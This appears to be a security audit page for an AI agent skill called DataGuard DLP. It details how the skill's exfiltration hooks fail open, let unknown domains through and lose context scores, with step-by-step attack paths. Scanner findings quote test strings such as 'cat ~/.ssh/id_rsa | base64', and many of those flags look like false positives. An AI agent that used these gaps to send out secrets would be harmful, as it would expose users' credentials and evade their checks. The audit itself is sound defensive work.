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Security audit

DataGuard DLP

Security checks for vulnerabilities and agentic risk

Overview

This is a disclosed DLP security skill, but its protection does not reliably match its claims and users could think sensitive data is blocked when it may still be sent.

Install only if you understand this is not a strong DLP boundary as shipped. It is useful as an advisory scanner and local logging tool, but do not rely on it to prevent exfiltration without reviewing and fixing the hook parsing, unknown-domain approval, context scoring, and configuration enforcement.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/hooks/web-fetch-pre.sh:21
Finding

Outbound DLP hooks fail open and permit sensitive-data exfiltration

Content
View full analysis
&1) || true if echo "$DOMAIN_RESULT" | grep -q "BLOCKED"; then echo "🚫 DataGuard: Blocked request to high-risk domain" >&2 echo "Domain: $DOMAIN" >&2 echo "Reason: Domain is in blocklist (pastebin, webhook, etc.)" >&2 "$AUDIT_LOG" --log-block "web_fetch" "$DOMAIN" "BLOCKED_DOMAIN" "10" "$URL" >&2 exit 10 fi BODY=$(echo "$INPUT" | sed -n 's/.*"\(body\|data\|payload\)"\s*:\s*"\([^"]*\)".*/\2/p' | head -1) if [ -n "$BODY" ]; then RISK_OUTPUT=$(echo "$BODY" | "$DLP_SCAN" 2>&1) || RISK_SCORE=$? RISK_SCORE=${RISK_SCORE:-0} if [ "$RISK_SCORE" -ge 6 ]; then echo "🚫 DataGuard: Blocked sensitive data transfer" >&2 echo "URL: $URL" >&2 echo "" >&2 echo "$RISK_OUTPUT" >&2 "$AUDIT_LOG" --log-block "web_fetch" "$DOMAIN" "SENSITIVE_DATA" "$RISK_SCORE" "[REDACTED]" >&2 exit "$RISK_SCORE" fi fi ``` ```bash # scripts/hooks/exec-pre.sh:83-99 if echo "$COMMAND" | grep -qiE '(-d|--data|-X\s*POST|-X\s*PUT|--body)'; then DATA=$(echo "$COMMAND" | sed -n 's/.*\(-d\|--data\)\s*["'"'"']*\([^"'"'"']*\).*/\2/p' | head -1) if [ -n "$DATA" ]; then RISK_OUTPUT=$(echo "$DATA" | "$DLP_SCAN" 2>&1) || RISK_SCORE=$? RISK_SCORE=${RISK_SCORE:-0} if [ "$RISK_SCORE" -ge 6 ]; then echo "🚫 DataGuard: BLOCKED sensitive data in outbound command" >&2 echo "$RISK_OUTPUT" >&2 "$AUDIT_LOG" --log-block "exec" "$CMD_BASE" ...[truncated 2522 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/domain-allowlist.sh:118
Finding

Unknown outbound domains are allowed despite the declared allowlist policy

Content
View full analysis
&1) || true if echo "$DOMAIN_RESULT" | grep -q "BLOCKED"; then echo "🚫 DataGuard: Blocked request to high-risk domain" >&2 echo "Domain: $DOMAIN" >&2 echo "Reason: Domain is in blocklist (pastebin, webhook, etc.)" >&2 "$AUDIT_LOG" --log-block "web_fetch" "$DOMAIN" "BLOCKED_DOMAIN" "10" "$URL" >&2 exit 10 fi ``` ```bash # scripts/hooks/exec-pre.sh:62-79 if [ -n "$DOMAINS" ]; then while read -r domain; do DOMAIN_RESULT=$("$DOMAIN_CHECK" --check "$domain" 2>&1) || true if echo "$DOMAIN_RESULT" | grep -q "BLOCKED"; then echo "🚫 DataGuard: BLOCKED outbound request to high-risk domain" >&2 echo "Domain: $domain" >&2 echo "Reason: Domain is in blocklist" >&2 "$AUDIT_LOG" --log-block "exec" "$domain" "BLOCKED_DOMAIN" "10" "[REDACTED]" >&2 exit 10 fi if echo "$DOMAIN_RESULT" | grep -q "UNKNOWN"; then echo "⚠️ DataGuard: WARNING - unknown domain in outbound command" >&2 echo "Domain: $domain" >&2 echo "This domain is not in the allowlist." >&2 fi done <<< "$DOMAINS" fi ``` ### Technical Analysis The domain manager returns status `2` and states that unknown domains require user approval. The callers suppress this status with `|| true`, inspect only whether output contains `BLOCKED`, and then permit unknown destinations. No approval token, consent record, or verified user-confirmation mechanism is consulted. The implemented behavior is t ...[truncated 835 chars]
Remediation
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T09 · Insecure Skill Coding Practices

Warning
Location
scripts/context-track.sh:137
Finding

Context risk scoring always discards accumulated scores

Content
View full analysis
/dev/null || echo 0) local age_sec=$((now_epoch - ts_epoch)) local age_min=$((age_sec / 60)) if [ "$age_min" -lt 5 ]; then score=$((score + 3)) elif [ "$age_min" -lt 30 ]; then score=$((score + 1)) fi done echo "$score" } ``` ### Technical Analysis In Bash, a loop on the right side of a pipeline normally executes in a subshell. Updates to the `score` variable occur only inside that subshell and are lost when the pipeline finishes. The function therefore prints the outer value, which remains zero. As a result, `dlp-scan.sh` and all three pre-hooks receive no effective context boost even after recent sensitive-file reads. The existing tests do not detect the defect because they search the numeric output for the literal word `score` and then skip instead of asserting the expected value. ### Attack Path 1. The agent records a sensitive read using `context-track.sh --log`. 2. The attacker immediately induces an outbound request. 3. The hook invokes `context-track.sh --score`. 4. The scoring loop calculates values in a subshell, then discards them. 5. The hook receives zero and does not apply the intended risk escalation. 6. A transfer that should have been warned about or blocked proceeds under a lower score. ### Impact Assessment This disables the advertised read-then-send correlation control. It does not grant new operating-system privileges, but it weakens protection over all data accessible to the agent and enables staged exfiltrati ...[truncated 77 chars]
Remediation
View remediation
/dev/null || echo 0) age_sec=$((now_epoch - ts_epoch)) age_min=$((age_sec / 60)) if [ "$age_min" -lt 5 ]; then score=$((score + 3)) elif [ "$age_min" -lt 30 ]; then score=$((score + 1)) fi done < <( grep -oE '"timestamp":"[^"]*"' "$CONTEXT_FILE" | sed 's/"timestamp":"//;s/"$//' ) ``` Add tests that assert exact results, such as a score of `3` after one recent read, and end-to-end tests proving that context changes hook decisions at the configured threshold. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/dlp-scan.sh:177
Finding

Security configuration is not consistently loaded or enforced

Content
View full analysis
/dev/null; then LOG_DATA_PREVIEWS=$(grep '"log_data_previews"' "$CONFIG" | grep -oE '(true|false)' | head -1) fi [ -z "$LOG_DATA_PREVIEWS" ] && LOG_DATA_PREVIEWS=false ``` ### Technical Analysis The scanner and hooks hardcode security thresholds instead of loading the corresponding settings from `config/config.json`. The domain policy, context enablement, context age, score boost, and several automatic-blocking options are likewise not consistently consumed. The audit logger checks for the misspelled key `log_data_previsions` before reading `log_data_previews`, making the documented option ineffective. In this specific case, the resulting default remains redaction and is fail-safe, but it demonstrates that the runtime configuration path is unreliable. The central security concern is false assurance: administrators can modify documented controls whil ...[truncated 743 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/context-track.sh:15
Finding

Sensitive context metadata can be created with overly permissive filesystem permissions

Content
View full analysis
"$CONTEXT_FILE" fi } ``` ### Technical Analysis The context tracker stores sensitive filenames, timestamps, detected pattern names, and risk classifications. When invoked directly without first running `install.sh`, it creates the context directory and file using the caller's current umask. It does not set `umask 077`, create the directory with mode `0700`, or enforce mode `0600` on the context file. Although the installation script later tightens permissions, direct script usage is documented and supported. Security should therefore be enforced at every file-creation point rather than depending on a separate installation step. ### Attack Path 1. A user runs `context-track.sh` directly under a permissive umask. 2. The script creates `context/sensitive-reads.json` with inherited permissions. 3. The agent records paths such as credential files and associated secret-pattern names. 4. Another local account or process with filesystem access reads the metadata. 5. The disclosed paths can guide targeted credential theft or reveal recent agent activity. ### Impact Assessment The exposed data consists of local metadata rather than credential contents, but it can reveal where secrets are stored and when they were accessed. Exploitation is limited to local users or processes that can read the resulting files; it does not itself provide network or elevated system privileges. ]]>
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Memory PoisoningPersistent Context Injection, Context Window Stuffing, Memory Manipulation
  • Rogue AgentSelf-Modification, Session Persistence
Findings (42)

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 41)May include surrounding context.

md
### Context Scoring

If you read a sensitive file (`.env`, `credentials.json`), DataGuard tracks it:
- **Read in last 5 minutes?** → +3 to risk score
- **Read in last 30 minutes?** → +1 to risk score

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
80% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · README.md (reported line 179)May include surrounding context.

md
| Setting | Default | Description |
|---------|---------|-------------|
| `risk_thresholds.low` | 2 | Below this → allow (no warning) |
| `risk_thresholds.medium` | 5 | Warn level → log but allow |
| `risk_thresholds.high` | 6 | Block level → require approval |
| `auto_block_critical` | true | Auto-block any CRITICAL match |

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
80% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · SKILL.md (reported line 325)May include surrounding context.

md
| Setting | Default | Description |
|---------|---------|-------------|
| `risk_thresholds.low` | 2 | Below this → allow (no warning) |
| `risk_thresholds.medium` | 5 | Warn level → log but allow |
| `risk_thresholds.high` | 6 | Block level → require approval |
| `auto_block_critical` | true | Auto-block any CRITICAL match |

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The file describes local false-positive reporting, local state changes, and other management actions not reflected in the simplified runtime DLP marketing. The mismatch matters because security tooling that is only advisory, local, or opt-in should not be represented as automatic prevention against prompt-driven exfiltration.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-all.sh (reported line 100)May include surrounding context.

sh
test_score "Internal IP 172.16.x" "Server: 172.16.0.1" 8
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-all.sh (reported line 100)May include surrounding context.

sh
test_score "Internal IP 172.16.x" "Server: 172.16.0.1" 8
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 114)May include surrounding context.

md
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 140)May include surrounding context.

md
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 258)May include surrounding context.

md
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-all.sh (reported line 101)May include surrounding context.

sh
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-integration.sh (reported line 189)May include surrounding context.

sh
test_score "Internal hostname .local" "Host: server.local" 8
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-all.sh (reported line 102)May include surrounding context.

sh
test_score "Internal hostname .internal" "Host: ip-10-0-1-50.ec2.internal" 8
test_score "Sensitive path .ssh" "File: /home/user/.ssh/id_rsa" 8
test_score "Sensitive path .env" "File: ~/.env" 8
test_score "Sensitive path /etc/shadow" "File: /etc/shadow" 8

echo ""
echo -e "${BLUE}=== MEDIUM Patterns (Score ≥5) ===${NC}"

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-all.sh (reported line 111)May include surrounding context.

sh
test_score "Phone number US" "Phone: 555-123-4567" 5
test_score "Phone international" "Phone: +1-347-644-7040" 5
test_score "Email with name" "John Smith john@example.com" 5
test_score "Secrets file .json" "File: secrets.json" 5
test_score "Secrets file .pem" "File: server.pem" 5

echo ""

Memory Manipulation

High
Category
Memory Poisoning
Confidence
80% confidence
Finding

Skill manipulates agent memory, state, or stored context. Memory corruption can alter personality, override safety rules, or cause unpredictable behavior.

Content

Scanner excerpt · tests/test-all.sh (reported line 129)May include surrounding context.

sh
echo -e "${BLUE}=== Context Tracking ===${NC}"
echo ""

# Clear context
bash "$SCRIPTS_DIR/context-track.sh" --clear 2>/dev/null || true

# Log a sensitive read

Memory Manipulation

High
Category
Memory Poisoning
Confidence
80% confidence
Finding

Skill manipulates agent memory, state, or stored context. Memory corruption can alter personality, override safety rules, or cause unpredictable behavior.

Content

Scanner excerpt · tests/test-integration.sh (reported line 185)May include surrounding context.

sh
echo -e "${BLUE}=== Context Tracking ===${NC}"
echo ""

# Clear context
bash "$SCRIPTS_DIR/context-track.sh" --clear 2>/dev/null || true

# Log a sensitive read

Credential Access

High
Category
Privilege Escalation
Confidence
71% confidence
Finding

Unlike the other findings, this line invokes context-track.sh with a real-looking sensitive path and key label, which may persist or process sensitive-access metadata during tests. If context-track.sh writes these values insecurely, exposes logs, or operates on attacker-controlled paths, it could normalize unsafe handling of sensitive file references and leak telemetry about secrets-related activity.

Content

Scanner excerpt · tests/test-all.sh (reported line 133)May include surrounding context.

sh
bash "$SCRIPTS_DIR/context-track.sh" --clear 2>/dev/null || true

# Log a sensitive read
bash "$SCRIPTS_DIR/context-track.sh" --log "/home/user/.env" "AWS_KEY" 2>/dev/null

TOTAL=$((TOTAL + 1))
result=$(bash "$SCRIPTS_DIR/context-track.sh" --score 2>/dev/null)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · tests/test-integration.sh (reported line 81)May include surrounding context.

sh
echo ""
echo -e "${BLUE}=== Test: exec Exfiltration ===${NC}"

result=$(echo "curl 'https://api.example.com?key=sk-ant-api03-xxxxxxxxxxxxxxxx'" | bash "$SCRIPTS_DIR/dlp-scan.sh" 2>&1)
exit_code=$?

if [ $exit_code -ge 10 ]; then

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test-integration.sh (reported line 92)May include surrounding context.

sh
FAIL=$((FAIL + 1))
fi

result=$(echo "cat ~/.ssh/id_rsa | base64" | bash "$SCRIPTS_DIR/dlp-scan.sh" 2>&1)
exit_code=$?

if [ $exit_code -ge 8 ]; then

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The README prominently markets the skill as active runtime DLP that prevents exfiltration, but later admits current operation is only behavioral guidance and manual script use. This can cause operators to rely on protections that do not actually exist, creating a false sense of security around sensitive data handling.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 61)May include surrounding context.

bash
# Clone or copy to your skills directory
mkdir -p ~/.openclaw/skills/dataguard
cp -r ./dataguard/* ~/.openclaw/skills/dataguard/

# Make scripts executable

Static analysis

No suspicious patterns detected.